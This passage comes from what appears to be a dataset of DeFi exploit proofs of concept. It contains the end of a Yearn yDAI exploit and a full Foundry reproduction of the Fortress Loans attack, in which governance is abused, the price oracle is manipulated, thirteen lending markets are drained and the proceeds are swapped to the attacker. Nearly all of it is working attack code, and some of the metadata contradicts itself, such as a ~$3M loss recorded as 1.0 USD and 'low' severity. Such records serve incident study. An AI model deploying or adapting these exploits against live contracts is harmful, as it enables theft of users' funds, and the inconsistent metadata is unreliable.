require(usdc.balanceOf(address(this)) == hacker_usdc_amt_before + 1, \"incorrect usdc amount after attack\");\n\n //Lets give back our initial funding to see real profit\n writeTokenBalance(address(this), address(dai), dai.balanceOf(address(this)) - hacker_dai_amt_before);\n writeTokenBalance(address(this), address(usdc), usdc.balanceOf(address(this)) - hacker_usdc_amt_before);\n //This is attacker profit, Only does one run to show it\n console.log(\"Attacker get 3crv amt: %d\", crv3.balanceOf(address(this)) / 1e18);\n console.log(\"Attacker get usdt amt: %d\", usdt.balanceOf(address(this)) / 1e6);\n }\n}\n", "type": "exploit_poc", "protocol": "Yearn_ydai", "date": "2021-02", "file_name": "Yearn_ydai_exp.sol", "attack_vector": null, "content_hash": "98b018b00ffadc41", "collected_at": "2026-01-07T10:59:16.518210", "_source": "postmortems", "chain": "ethereum", "block_number": 11792183, "total_lost_raw": "~11M US$", "total_lost_usd": 11000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x59faab5a1911618064f1ffa1e4649d85c99cfd9f0d64dcebbc1af7d7630da98b", "postmortem_url": "https://github.com/yearn/yearn-security/blob/master/disclosures/2021-02-04.md", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~11M US$", "category": "unknown", "exploit_code": "function testAttack() public {\n // Construct the exploit logic here\n uint256 hacker_dai_amt_before = dai.balanceOf(address(this));\n uint256 hacker_usdc_amt_before = usdc.balanceOf(address(this));\n\n require(usdt.balanceOf(address(this)) == 0, \"has usdt\");\n require(crv3.balanceOf(address(this)) == 0, \"has c3rv\");\n require(yvdai.balanceOf(address(this)) == 0, \"has ydai\");\n\n // First make the pool imbalanced\n curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0);\n\n // Exploit loop\n for (uint256 i = 0; i < 5; i++) {\n curve.remove_liquidity_imbalance([0, 0, remove_usdt_amt], max_3crv_amount);\n\n yvdai.deposit(earn_amt[i]);\n yvdai.earn();\n\n if (i != 4) {\n curve.add_liquidity([0, 0, remove_usdt_amt], 0);\n } else {\n curve.add_liquidity([0, 0, remove_usdt_amt_final_round], 0);\n }\n\n yvdai.withdrawAll();\n }\n\n // Convert some 3crv\n uint256 dai_difference = hacker_dai_amt_before - dai.balanceOf(address(this));\n curve.remove_liquidity_imbalance([dai_difference + 1, init_add_usdc_amt + 1, 0], max_3crv_amount);\n require(dai.balanceOf(address(this)) == hacker_dai_amt_before + 1, \"incorrect dai bal after attack\");\n require(usdc.balanceOf(address(this)) == hacker_usdc_amt_before + 1, \"incorrect usdc amount after attack\");\n\n //Lets give back our initial funding to see real profit\n writeTokenBalance(address(this), address(dai), dai.balanceOf(address(this)) - hacker_dai_amt_before);\n writeTokenBalance(address(this), address(usdc), usdc.balanceOf(address(this)) - hacker_usdc_amt_before);\n //This is attacker profit, Only does one run to show it\n console.log(\"Attacker get 3crv amt: %d\", crv3.balanceOf(address(this)) / 1e18);\n console.log(\"Attacker get usdt amt: %d\", usdt.balanceOf(address(this)) / 1e6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~11M US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x59faab5a1911618064f1ffa1e4649d85c99cfd9f0d64dcebbc1af7d7630da98b", "analysis_postmortem": "https://github.com/yearn/yearn-security/blob/master/disclosures/2021-02-04.md", "analysis_twitter": "", "funds_lost_formatted": "$11.00M", "content_richness_score": 7.84, "quality_estimate": "medium", "title": "Yearn_ydai Exploit (2021-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport {IERC20, IPriceFeed, IPancakeRouter, IUnitroller, IVyper} from \"../interface.sol\";\n\n/* @KeyInfo -- Total Lost : 1,048 ETH + 400,000 DAI (~3,000,000 US$)\n Attacker Wallet : https://bscscan.com/address/0xA6AF2872176320015f8ddB2ba013B38Cb35d22Ad\n Attacker Contract : https://bscscan.com/address/0xcd337b920678cf35143322ab31ab8977c3463a45\n Fortress PriceOracle : https://bscscan.com/address/0x00fcf33bfa9e3ff791b2b819ab2446861a318285#code\n Chain Contract : https://bscscan.com/address/0xc11b687cd6061a6516e23769e4657b6efa25d78e#code\n Fortress Governor Alpha : https://bscscan.com/address/0xe79ecdb7fedd413e697f083982bac29e93d86b2e#code\n Price Feed : https://bscscan.com/address/0xaa24b64c9b44d874368b09325c6d60165c4b39f2#code\n*/\n\n/* @News\n Official Announce : https://mobile.twitter.com/Fortressloans/status/1523495202115051520\n PeckShield Alert Thread : https://twitter.com/PeckShieldAlert/status/1523489670323404800\n Blocksec Alert Thread : https://twitter.com/BlockSecTeam/status/1523530484877209600\n*/\n\n/* @Reports\n CertiK Incident Analysis : https://www.certik.com/resources/blog/k6eZOpnK5Kdde7RfHBZgw-fortress-loans-exploit\n Anquanke Incident Analysis : https://www.anquanke.com/post/id/273207\n Freebuf Incident Analysis : https://www.freebuf.com/articles/blockchain-articles/332879.html\n Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4062\n*/\n\naddress constant attacker = 0xA6AF2872176320015f8ddB2ba013B38Cb35d22Ad;\naddress constant MAHA = 0xCE86F7fcD3B40791F63B86C3ea3B8B355Ce2685b;\naddress constant FTS = 0x4437743ac02957068995c48E08465E0EE1769fBE;\naddress constant fFTS = 0x854C266b06445794FA543b1d8f6137c35924C9EB;\naddress constant GovernorAlpha = 0xE79ecdB7fEDD413E697F083982BAC29e93d86b2E;\naddress constant ChainContract = 0xc11B687cd6061A6516E23769E4657b6EfA25d78E;\naddress constant FortressPriceOracle = 0x00fcF33BFa9e3fF791b2b819Ab2446861a318285;\naddress constant PriceFeed = 0xAa24b64C9B44D874368b09325c6D60165c4B39f2;\naddress constant Unitroller = 0x67340Bd16ee5649A37015138B3393Eb5ad17c195;\naddress constant BorrowerOperations = 0xd55555376f9A43229Dc92abc856AA93Fee617a9A;\naddress constant ARTH = 0xB69A424Df8C737a122D0e60695382B3Eec07fF4B;\naddress constant ARTHUSD = 0x88fd584dF3f97c64843CD474bDC6F78e398394f4;\naddress constant Vyper1 = 0x98245Bfbef4e3059535232D68821a58abB265C45;\naddress constant Vyper2 = 0x1d4B4796853aEDA5Ab457644a18B703b6bA8b4aB;\naddress constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant USDT = 0x55d398326f99059fF775485246999027B3197955;\n\ninterface IGovernorAlpha {\n function propose(\n address[] memory targets,\n uint256[] memory values,\n string[] memory signatures,\n bytes[] memory calldatas,\n string memory description\n ) external returns (uint256);\n\n function castVote(uint256 proposalId, bool support) external;\n\n function queue(\n uint256 proposalId\n ) external;\n\n function execute(\n uint256 proposalId\n ) external payable;\n\n function state(\n uint256 proposalId\n ) external view;\n\n function proposalThreshold() external view returns (uint256);\n}\n\ninterface IChain {\n function submit(\n uint32 _dataTimestamp,\n bytes32 _root,\n bytes32[] memory _keys,\n uint256[] memory _values,\n uint8[] memory _v,\n bytes32[] memory _r,\n bytes32[] memory _s\n ) external;\n}\n\ninterface FToken {}\n\ninterface IFortressPriceOracle {\n function getUnderlyingPrice(\n FToken fToken\n ) external view returns (uint256);\n}\n\ninterface IFTS {\n function approve(address spender, uint256 rawAmount) external returns (bool);\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function delegate(\n address delegatee\n ) external;\n\n function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96);\n}\n\ninterface IfFTS {\n function mint(\n uint256 mintAmount\n ) external returns (uint256);\n\n function balanceOf(\n address owner\n ) external view returns (uint256);\n}\n\ninterface IFBep20Delegator {\n function getCash() external view returns (uint256);\n\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n\n function underlying() external returns (address);\n}\n\ninterface IBorrowerOperations {\n function openTrove(\n uint256 _maxFee,\n uint256 _LUSDAmount,\n uint256 _ETHAmount,\n address _upperHint,\n address _lowerHint,\n address _frontEndTag\n ) external;\n}\n\ncontract ProposalCreateFactory {}\n\ncontract Attack is Test {\n /* Method 0x2b69be8e */\n function exploit() public {\n // Excute Proposal 11\n IGovernorAlpha(GovernorAlpha).execute(11);\n emit log_string(\"\\t[info] Executed Proposal Id 11\");\n\n // Manipulate the price oracle\n bytes32 _root = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d886;\n bytes32[] memory _keys = new bytes32[](2);\n _keys[0] = 0x000000000000000000000000000000000000000000000000004654532d555344;\n _keys[1] = 0x0000000000000000000000000000000000000000000000004d4148412d555344;\n uint256[] memory _values = new uint256[](2);\n _values[0] = 4e34;\n _values[1] = 4e34;\n uint8[] memory _v = new uint8[](4);\n _v[0] = 28;\n _v[1] = 28;\n _v[2] = 28;\n _v[3] = 28;\n bytes32[] memory _r = new bytes32[](4);\n _r[0] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d885;\n _r[1] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d882;\n _r[2] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d877;\n _r[3] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d881;\n bytes32[] memory _s = new bytes32[](4);\n _s[0] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d825;\n _s[1] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d832;\n _s[2] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d110;\n _s[3] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d841;\n IChain(ChainContract).submit(uint32(block.timestamp), _root, _keys, _values, _v, _r, _s);\n emit log_string(\"\\t[info] Chain.submit() Success\");\n\n // Check the FTS price is manipulated (from Fortress Loans perspective \ud83d\udcc8)\n // This article explains how Chain.submit() affected FTS price: https://blog.csdn.net/Timmbe/article/details/124678475\n uint256 _checkpoint;\n _checkpoint = IFortressPriceOracle(FortressPriceOracle).getUnderlyingPrice(FToken(fFTS));\n assert(_checkpoint == 4e34); // make sure have same result as mainnet tx\n emit log_string(\"\\t[info] FortressPriceOracle.getUnderlyingPrice(FToken(fFTS)) Success\");\n\n // Fetch price\n _checkpoint = IPriceFeed(PriceFeed).fetchPrice();\n assert(_checkpoint == 2e34); // make sure have same result as mainnet tx\n emit log_string(\"\\t[info] PriceFeed.fetchPrice() Success\");\n\n // Enter fFTS markets\n address[] memory _tmp = new address[](1);\n _tmp[0] = fFTS;\n IUnitroller(Unitroller).enterMarkets(_tmp);\n emit log_string(\"\\t[info] Unitroller.enterMarkets(fFTS) Success\");\n\n // Provide 100 FTS Token as collateral, mint fFTS\n IFTS(FTS).approve(fFTS, type(uint256).max);\n uint256 _FTS_balance = IFTS(FTS).balanceOf(address(this));\n IfFTS(fFTS).mint(_FTS_balance);\n assert(IfFTS(fFTS).balanceOf(address(this)) == 499_999_999_999);\n emit log_string(\"\\t[info] fFTS.mint(FTS) Success\");\n\n // Get all Fortress Loans markets\n address[] memory markets = IUnitroller(Unitroller).getAllMarkets();\n address fbnb = markets[0]; // 0xe24146585e882b6b59ca9bfaaaffed201e4e5491\n address fusdc = markets[1]; // 0x3ef88d7fde18fe966474fe3878b802f678b029bc\n address fusdt = markets[2]; // 0x554530ecde5a4ba780682f479bc9f64f4bbff3a1\n address fbusd = markets[3]; // 0x8bb0d002bac7f1845cb2f14fe3d6aae1d1601e29\n address fbtc = markets[4]; // 0x47baa29244c342f1e6cde11c968632e7403ae258\n address feth = markets[5]; // 0x5f3ef8b418a8cd7e3950123d980810a0a1865981\n address fltc = markets[6]; // 0xe75b16cc66f8820fb97f52f0c25f41982ba4daf3\n address fxrp = markets[7]; // 0xa7fb72808de4ffcacf9a815bd1ccbe70f03b54ca\n address fada = markets[8]; // 0x4c0933453359733b4867dff1145a9a0749931a00\n address fdai = markets[9]; // 0x5f30fdddcf14a0997a52fdb7d7f23b93f0f21998\n address fdot = markets[10]; // 0x8fc4f7a57bb19e701108b17d785a28118604a3d1\n address fbeth = markets[11]; // 0x8ed1f4c1326e5d3c1b6e99ac9e5ec6651e11e3da\n address fshib = markets[14]; // 0x073c0ac03e7c839c718a65e0c4d0724cc0bd2b5f\n\n // Borrow ERC-20 Tokens\n IFBep20Delegator[13] memory Delegators = [\n IFBep20Delegator(fbnb),\n IFBep20Delegator(fusdc),\n IFBep20Delegator(fusdt),\n IFBep20Delegator(fbusd),\n IFBep20Delegator(fbtc),\n IFBep20Delegator(feth),\n IFBep20Delegator(fltc),\n IFBep20Delegator(fxrp),\n IFBep20Delegator(fada),\n IFBep20Delegator(fdai),\n IFBep20Delegator(fdot),\n IFBep20Delegator(fbeth),\n IFBep20Delegator(fshib)\n ];\n\n for (uint8 i; i < Delegators.length; i++) {\n uint256 borrowAmount = Delegators[i].getCash();\n Delegators[i].borrow(borrowAmount);\n }\n\n emit log_string(\"\\t[info] 13 markets ERC-20 token borrow Success\");\n\n IERC20(MAHA).approve(BorrowerOperations, type(uint256).max);\n IBorrowerOperations(BorrowerOperations).openTrove(\n 1e18, 1e27, IERC20(MAHA).balanceOf(address(this)), address(0), address(0), address(0)\n );\n\n IERC20(ARTH).approve(ARTHUSD, type(uint256).max);\n IERC20(ARTHUSD).deposit(1e27);\n\n IERC20(ARTHUSD).approve(Vyper1, type(uint256).max);\n IERC20(ARTHUSD).approve(Vyper2, type(uint256).max);\n\n IVyper(Vyper1).exchange_underlying(0, 3, 5e26, 0, msg.sender);\n IVyper(Vyper2).exchange_underlying(0, 3, 15e26, 0, msg.sender);\n }\n\n function withdrawAll() public {\n // Get all Fortress Loans markets\n address[] memory markets = IUnitroller(Unitroller).getAllMarkets();\n address fbnb = markets[0]; // 0xe24146585e882b6b59ca9bfaaaffed201e4e5491\n address fusdc = markets[1]; // 0x3ef88d7fde18fe966474fe3878b802f678b029bc\n address fusdt = markets[2]; // 0x554530ecde5a4ba780682f479bc9f64f4bbff3a1\n address fbusd = markets[3]; // 0x8bb0d002bac7f1845cb2f14fe3d6aae1d1601e29\n address fbtc = markets[4]; // 0x47baa29244c342f1e6cde11c968632e7403ae258\n address feth = markets[5]; // 0x5f3ef8b418a8cd7e3950123d980810a0a1865981\n address fltc = markets[6]; // 0xe75b16cc66f8820fb97f52f0c25f41982ba4daf3\n address fxrp = markets[7]; // 0xa7fb72808de4ffcacf9a815bd1ccbe70f03b54ca\n address fada = markets[8]; // 0x4c0933453359733b4867dff1145a9a0749931a00\n address fdai = markets[9]; // 0x5f30fdddcf14a0997a52fdb7d7f23b93f0f21998\n address fdot = markets[10]; // 0x8fc4f7a57bb19e701108b17d785a28118604a3d1\n address fbeth = markets[11]; // 0x8ed1f4c1326e5d3c1b6e99ac9e5ec6651e11e3da\n address fshib = markets[14]; // 0x073c0ac03e7c839c718a65e0c4d0724cc0bd2b5f\n\n IFBep20Delegator[13] memory Delegators = [\n IFBep20Delegator(fbnb),\n IFBep20Delegator(fusdc),\n IFBep20Delegator(fusdt),\n IFBep20Delegator(fbusd),\n IFBep20Delegator(fbtc),\n IFBep20Delegator(feth),\n IFBep20Delegator(fltc),\n IFBep20Delegator(fxrp),\n IFBep20Delegator(fada),\n IFBep20Delegator(fdai),\n IFBep20Delegator(fdot),\n IFBep20Delegator(fbeth),\n IFBep20Delegator(fshib)\n ];\n\n // Swap each underlyAsset to attacker, Path: Asset->WBNB->USDT\n for (uint256 i = 0; i < 13; i++) {\n if (address(Delegators[i]) == 0xE24146585E882B6b59ca9bFaaaFfED201E4E5491) continue; // Skip Fortress BNB (fBNB), use singleHop swap later\n if (address(Delegators[i]) == 0x554530ecDE5A4Ba780682F479BC9F64F4bBFf3a1) continue; // Skip Fortress USDT (fUSDT), transfer USDT later\n\n address underlyAsset = Delegators[i].underlying(); // Resolve underlyAsset address\n uint256 amount = IERC20(underlyAsset).balanceOf(address(this)); // Get each underlyAsset balance\n\n address[] memory mulitHop = new address[](3); // Do swap\n mulitHop[0] = underlyAsset;\n mulitHop[1] = WBNB;\n mulitHop[2] = USDT;\n IERC20(underlyAsset).approve(PancakeRouter, type(uint256).max);\n IPancakeRouter(payable(PancakeRouter)).swapExactTokensForTokens(\n amount, 0, mulitHop, msg.sender, block.timestamp\n );\n }\n\n // Swap WBNB->USDT to attacker\n address[] memory singleHop = new address[](2);\n singleHop[0] = WBNB;\n singleHop[1] = USDT;\n IPancakeRouter(payable(PancakeRouter)).swapExactETHForTokens{value: address(this).balance}(\n 0, singleHop, msg.sender, block.timestamp\n );\n emit log_string(\"\\t[Pass] Swap BNB->USDT, amountOut send to attacker\");\n\n // Transfer all USDT balance to attacker\n uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));\n IERC20(USDT).transfer(msg.sender, usdt_balance);\n emit log_string(\"\\t[Pass] Transfer all USDT balance to attacker\");\n }\n\n /* Method 0xd4ddb845 */\n function kill() public {\n selfdestruct(payable(msg.sender));\n }\n\n receive() external payable {}\n}\n\ncontract Hacker is Test {\n using stdStorage for StdStorage;\n\n constructor() {\n vm.createSelectFork(\"bsc\", 17_490_837); // Fork BSC mainnet at block 17490837\n emit log_string(\"This reproduce shows how attacker exploit Fortress Loan, cause ~3,000,000 US$ lost\");\n emit log_named_decimal_uint(\"[Start] Attacker Wallet USDT Balance\", IERC20(USDT).balanceOf(address(this)), 18);\n vm.label(attacker, \"AttackerWallet\");\n vm.label(address(this), \"AttackContract\");\n vm.label(USDT, \"USDT\");\n vm.label(MAHA, \"MahaDAOProxy\");\n vm.label(FTS, \"FTS\");\n vm.label(fFTS, \"fFTS\");\n vm.label(GovernorAlpha, \"GovernorAlpha\");\n vm.label(ChainContract, \"Chain\");\n vm.label(FortressPriceOracle, \"FortressPriceOracle\");\n vm.label(PriceFeed, \"PriceFeed\");\n vm.label(Unitroller, \"Unitroller\");\n vm.label(BorrowerOperations, \"BorrowerOperations\");\n vm.label(ARTH, \"ARTH\");\n vm.label(ARTHUSD, \"ARTHUSD\");\n vm.label(Vyper1, \"Vyper1\");\n vm.label(Vyper2, \"Vyper2\");\n vm.label(PancakeRouter, \"PancakeRouter\");\n }\n\n function testExploit() public {\n // txId : 0x18dc1cafb1ca20989168f6b8a087f3cfe3356d9a1edd8f9d34b3809985203501\n // Do : Attacker Create [ProposalCreater] Contract\n vm.rollFork(17_490_837); // make sure start from block 17490837\n vm.startPrank(attacker); // Set msg.sender = attacker\n ProposalCreateFactory PCreater = new ProposalCreateFactory();\n vm.stopPrank();\n vm.label(address(PCreater), \"ProposalCreateFactory\");\n emit log_named_address(\"[Pass] Attacker created [ProposalCreater] contract\", address(PCreater));\n\n // txId : 0x12bea43496f35e7d92fb91bf2807b1c95fcc6fedb062d66678c0b5cfe07cc002\n // Do : Create Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_490_882);\n\n address[] memory _target = new address[](1);\n uint256[] memory _value = new uint256[](1);\n string[] memory _signature = new string[](1);\n bytes[] memory _calldata = new bytes[](1);\n\n _target[0] = Unitroller;\n _value[0] = 0;\n _signature[0] = \"_setCollateralFactor(address,uint256)\";\n _calldata[0] = abi.encode(fFTS, 700_000_000_000_000_000);\n\n vm.prank(address(PCreater));\n IGovernorAlpha(GovernorAlpha).propose(\n _target, _value, _signature, _calldata, \"Add the FTS token as collateral.\"\n );\n emit log_string(\"[Pass] Attacker created Proposal Id 11\");\n\n // txId : 0x83a4f8f52b8f9e6ff1dd76546a772475824d9aa5b953808dbc34d1f39250f29d\n // Do : Vote Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_570_125);\n vm.prank(0x58f96A6D9ECF0a7c3ACaD2f4581f7c4e42074e70); // Malicious voter\n IGovernorAlpha(GovernorAlpha).castVote(11, true);\n emit log_string(\"[Pass] Unknown malicious voter supported Proposal 11\");\n\n // txId : 0xc368afb2afc499e7ebb575ba3e717497385ef962b1f1922561bcb13f85336252\n // Do : Vote Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_570_164);\n vm.prank(attacker);\n IGovernorAlpha(GovernorAlpha).castVote(11, true);\n emit log_string(\"[Pass] Attacker supported Proposal 11\");\n\n // txId : 0x647c6e89cd1239381dd49a43ca2f29a9fdeb6401d4e268aff1c18b86a7e932a0\n // Do : Queue Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_577_532);\n vm.prank(attacker);\n IGovernorAlpha(GovernorAlpha).queue(11);\n emit log_string(\"[Pass] Attacker queued Proposal 11\");\n\n // txId : 0x4800928c95db2fc877f8ba3e5a41e208231dc97812b0174e75e26cca38af5039\n // Do : Create Attack Contract\n vm.createSelectFork(\"bsc\", 17_634_589);\n vm.setNonce(attacker, 69);\n vm.startPrank(attacker);\n Attack attackContract = new Attack();\n vm.stopPrank();\n vm.label(address(attackContract), \"AttackContract\");\n assert(address(attackContract) == 0xcD337b920678cF35143322Ab31ab8977C3463a45); // make sure deployAddr is same as mainnet\n emit log_named_address(\"[Pass] Attacker created [AttackContract] contract\", address(attackContract));\n\n // txId : 0x6a04f47f839d6db81ba06b17b5abbc8b250b4c62e81f4a64aa6b04c0568dc501\n // Do : Send 3.0203 MahaDAO to Attack Contract\n // Note : This tx is not part of exploit chain, so we just cheat it to skip some pre-swap works ;)\n stdstore.target(MAHA).sig(IERC20(MAHA).balanceOf.selector).with_key(address(attackContract)).checked_write(\n 3_020_309_536_199_074_866\n );\n assert(IERC20(MAHA).balanceOf(address(attackContract)) == 3_020_309_536_199_074_866);\n emit log_string(\"[Pass] Attacker send 3.0203 MahaDAO to [AttackContract] contract\");\n\n // txId : 0xd127c438bdac59e448810b812ffc8910bbefc3ebf280817bd2ed1e57705588a0\n // Do : Send 100 FTS to Attack Contract\n // Note : This tx is not part of exploit chain, so we just cheat it to skip some pre-swap works ;)\n stdstore.target(FTS).sig(IFTS(FTS).balanceOf.selector).with_key(address(attackContract)).checked_write(\n 100 ether\n );\n assert(IFTS(FTS).balanceOf(address(attackContract)) == 100 ether);\n emit log_string(\"[Pass] Attacker send 100 FTS to [AttackContract] contract\");\n\n // txId : 0x13d19809b19ac512da6d110764caee75e2157ea62cb70937c8d9471afcb061bf\n // Do : Execute Proposal Id 11\n vm.roll(17_634_663); // No fork here, otherwise will get Error(\"do not spam\") in Chain.sol\n vm.warp(1_652_042_082); // 2022-05-08 20:34:42 UTC+0\n vm.startPrank(attacker);\n attackContract.exploit();\n vm.stopPrank();\n emit log_string(\"[Pass] Attacker triggered the exploit\");\n\n // txId : 0x851a65865ec89e64f0000ab973a92c3313ea09e80eb4b4660195a14d254cd425\n // Do : Withdraw All\n vm.roll(17_634_670); // We need to verify the reproduce run as expected, so don't use createSelectFork()\n vm.warp(1_651_998_903); // 2022-05-08 20:35:03 UTC+0\n vm.startPrank(attacker);\n attackContract.withdrawAll();\n vm.stopPrank();\n emit log_string(\"[Pass] Attacker successfully withdrew the profit\");\n\n // txId : 0xde8d9d55a5c795b2b9b3cd5b648a29b392572719fbabd91993efcd2bc57110d3\n // Do : Destruct the Attack Contract\n vm.roll(17_635_247);\n vm.warp(1_652_043_834); // 2022-05-08 21:03:54 UTC+0\n vm.startPrank(attacker);\n attackContract.kill();\n vm.stopPrank();\n emit log_string(\"[Pass] Attacker destruct the Attack Contract\");\n\n emit log_named_decimal_uint(\"[End] Attacker Wallet USDT Balance\", IERC20(USDT).balanceOf(attacker), 18);\n\n // You shold see attacker profit about 300K USDT\n // The USDT were moved after swapping across the cBridge(Celer Network), and swapped them into ETH and DAI.\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "FortressLoans", "date": "2022-05", "file_name": "FortressLoans_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "fc80dada6d0a56b0", "collected_at": "2026-01-07T10:59:16.518379", "_source": "postmortems", "chain": "bsc", "block_number": 17490837, "total_lost_raw": "1,048 ETH + 400,000 DAI (~3,000,000 US$)", "total_lost_usd": 1.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "1,048 ETH + 400,000 DAI (~3,000,000 US$)", "category": "oracle-manipulation", "exploit_code": "function testExploit() public {\n // txId : 0x18dc1cafb1ca20989168f6b8a087f3cfe3356d9a1edd8f9d34b3809985203501\n // Do : Attacker Create [ProposalCreater] Contract\n vm.rollFork(17_490_837); // make sure start from block 17490837\n vm.startPrank(attacker); // Set msg.sender = attacker\n ProposalCreateFactory PCreater = new ProposalCreateFactory();\n vm.stopPrank();\n vm.label(address(PCreater), \"ProposalCreateFactory\");\n emit log_named_address(\"[Pass] Attacker created [ProposalCreater] contract\", address(PCreater));\n\n // txId : 0x12bea43496f35e7d92fb91bf2807b1c95fcc6fedb062d66678c0b5cfe07cc002\n // Do : Create Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_490_882);\n\n address[] memory _target = new address[](1);\n uint256[] memory _value = new uint256[](1);\n string[] memory _signature = new string[](1);\n bytes[] memory _calldata = new bytes[](1);\n\n _target[0] = Unitroller;\n _value[0] = 0;\n _signature[0] = \"_setCollateralFactor(address,uint256)\";\n _calldata[0] = abi.encode(fFTS, 700_000_000_000_000_000);\n\n vm.prank(address(PCreater));\n IGovernorAlpha(GovernorAlpha).propose(\n _target, _value, _signature, _calldata, \"Add the FTS token as collateral.\"\n );\n emit log_string(\"[Pass] Attacker created Proposal Id 11\");\n\n // txId : 0x83a4f8f52b8f9e6ff1dd76546a772475824d9aa5b953808dbc34d1f39250f29d\n // Do : Vote Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_570_125);\n vm.prank(0x58f96A6D9ECF0a7c3ACaD2f4581f7c4e42074e70); // Malicious voter\n IGovernorAlpha(GovernorAlpha).castVote(11, true);\n emit log_string(\"[Pass] Unknown malicious voter supported Proposal 11\");\n\n // txId : 0xc368afb2afc499e7ebb575ba3e717497385ef962b1f1922561bcb13f85336252\n // Do : Vote Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_570_164);\n vm.prank(attacker);\n IGovernorAlpha(GovernorAlpha).castVote(11, true);\n emit log_string(\"[Pass] Attacker supported Proposal 11\");\n\n // txId : 0x647c6e89cd1239381dd49a43ca2f29a9fdeb6401d4e268aff1c18b86a7e932a0\n // Do : Queue Proposal Id 11\n vm.createSelectFork(\"bsc\", 17_577_532);\n vm.prank(attacker);\n IGovernorAlpha(GovernorAlpha).queue(11);\n emit log_string(\"[Pass] Attacker queued Proposal 11\");\n\n // txId : 0x4800928c95db2fc877f8ba3e5a41e208231dc97812b0174e75e26cca38af5039\n // Do : Create Attack Contract\n vm.createSelectFork(\"bsc\", 17_634_589);\n vm.setNonce(attacker, 69);\n vm.startPrank(attacker);\n Attack attackContract = new Attack();\n vm.stopPrank();\n vm.label(address(attackContract), \"AttackContract\");\n assert(address(attackContract) == 0xcD337b920678cF35143322Ab31ab8977C3463a45); // make sure deployAddr is same as mainnet\n emit log_named_address(\"[Pass] Attacker created [AttackContract] contract\", address(attackContract));\n\n // txId : 0x6a04f47f839d6db81ba06b17b5abbc8b250b4c62e81f4a64aa6b04c0568dc501\n // Do : Send 3.0203 MahaDAO to Attack Contract\n // Note : This tx is not part of exploit chain, so we just cheat it to skip some pre-swap works ;)\n stdstore.target(MAHA).sig(IERC20(MAHA).balanceOf.selector).with_key(address(attackContract)).checked_write(\n 3_020_309_536_199_074_866\n );\n assert(IERC20(MAHA).balanceOf(address(attackContract)) == 3_020_309_536_199_074_866);\n emit log_string(\"[Pass] Attacker send 3.0203 MahaDAO to [AttackContract] contract\");\n\n // txId : 0xd127c438bdac59e448810b812ffc8910bbefc3ebf280817bd2ed1e57705588a0\n // Do : Send 100 FTS to Attack Contract\n // Note : This tx is not part of exploit chain, so we just cheat it to skip some pre-swap works ;)\n stdstore.target(FTS).sig(IFTS(FTS).balanceOf.selector).with_key(address(attackContract)).checked_write(\n 100 ether\n );\n assert(IFTS(FTS).balanceOf(address(attackContract)) == 100 ether);\n emit log_string(\"[Pass] Attacker send 100 FTS to [AttackContract] contract\");\n\n // txId : 0x13d19809b19ac512da6d110764caee75e2157ea62cb70937c8d9471afcb061bf\n // Do : Execute Proposal Id 11\n vm.roll(17_634_663); // No fork here, otherwise will get Error(\"do not spam\") in Chain.sol\n vm.warp(1_652_042_082); // 2022-05-08 20:34:42 UTC+0\n vm.startPrank(attacker);\n attackContract.exploit();\n vm.stopPrank();\n emit log_string(\"[Pass] Attacker triggered the exploit\");\n\n // txId : 0x851a65865ec89e64f0000ab973a92c3313ea09e80eb4b4660195a14d254cd425\n // Do : Withdraw All\n vm.roll(17_634_670); // We need to verify the reproduce run as expected, so don't use createSelectFork()\n vm.warp(1_651_998_903); // 2022-05-08 20:35:03 UTC+0\n vm.startPrank(attacker);\n attackContract.withdrawAll();\n vm.stopPrank();\n emit log_string(\"[Pass] Attacker successfully withdrew the profit\");\n\n // txId : 0xde8d9d55a5c795b2b9b3cd5b648a29b392572719fbabd91993efcd2bc57110d3\n // Do : Destruct the Attack Contract\n vm.roll(17_635_247);\n vm.warp(1_652_043_834); // 2022-05-08 21:03:54 UTC+0\n vm.startPrank(attacker);\n attackContract.kill();\n vm.stopPrank();\n emit log_string(\"[Pass] Attacker destruct the Attack Contract\");\n\n emit log_named_decimal_uint(\"[End] Attacker Wallet USDT Balance\", 